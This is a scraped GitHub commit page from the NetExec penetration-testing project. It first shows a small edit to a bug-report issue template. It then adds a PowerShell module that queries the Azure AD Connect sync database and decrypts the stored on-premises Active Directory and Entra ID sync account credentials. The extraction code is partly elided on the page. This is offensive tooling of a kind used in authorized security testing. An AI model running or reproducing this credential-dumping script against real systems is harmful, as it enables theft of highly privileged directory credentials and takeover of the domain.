You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: .github/ISSUE_TEMPLATE/bug_report.md
+6-2Lines changed: 6 additions & 2 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -1,3 +1,5 @@
1
+
# ❗❗❗ Before filing this bug report, MAKE SURE you have already downloaded the newest version of NetExec from GitHub and installed it! Many issues have already been reported and fixed, _especially_ if you are running the native Kali version! Please delete this line before submitting your issue if you have done so.❗❗❗
2
+
1
3
---
2
4
name: Bug report
3
5
about: Create a report to help us improve
@@ -7,6 +9,8 @@ assignees: ''
7
9
8
10
---
9
11
12
+
13
+
10
14
**Describe the bug**
11
15
A clear and concise description of what the bug is.
12
16
@@ -30,8 +34,8 @@ If applicable, add screenshots to help explain your problem.
30
34
31
35
**NetExec info**
32
36
- OS: [e.g. Kali]
33
-
- Version of nxc: [e.g. v1.5.2]
34
-
- Installed from: apt/github/pip/docker/...? Please try with latest release before openning an issue
37
+
- Version of nxc: [e.g. v1.5.2] (run nxc --version and post the _exact_ string that is output)
38
+
- Installed from: apt/github/pip/docker/...? Please try with latest release before opening an issue
# Original script by @_xpn_: https://gist.github.com/xpn/f12b145dba16c2eebdd1c6829267b90c
2
+
# Modified by @NeffIsBack:
3
+
# - Added support for Entra ID sync credentials (original source: https://github.com/Gerenios/AADInternals-Endpoints/blob/6af2054705e900b733ba76c6e65bfa6cad2328cc/AADSyncSettings.ps1#L108-L116)
4
+
5
+
# Function to decrypt the encrypted configuration of the Azure AD Connect sync stuff
$out= f "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
52
+
if (-not$out) { return }
53
+
$key_id,$instance_id,$entropy=$out
54
+
55
+
# Get and decrypt on-prem AD credentials
56
+
$out= f "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
57
+
if (-not$out) { return }
58
+
$on_prem,$c=$out
59
+
$pd= decrypter $c$key_id$instance_id$entropy
60
+
61
+
# Get and decrypt Entra ID sync credentials
62
+
$out= f "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE subtype = 'Windows Azure Active Directory (Microsoft)'"
63
+
if (-not$out) { return }
64
+
$entra,$c=$out
65
+
$qd= decrypter $c$key_id$instance_id$entropy
66
+
67
+
68
+
69
+
# Extract the credentials from the decrypted XML configurations
0 commit comments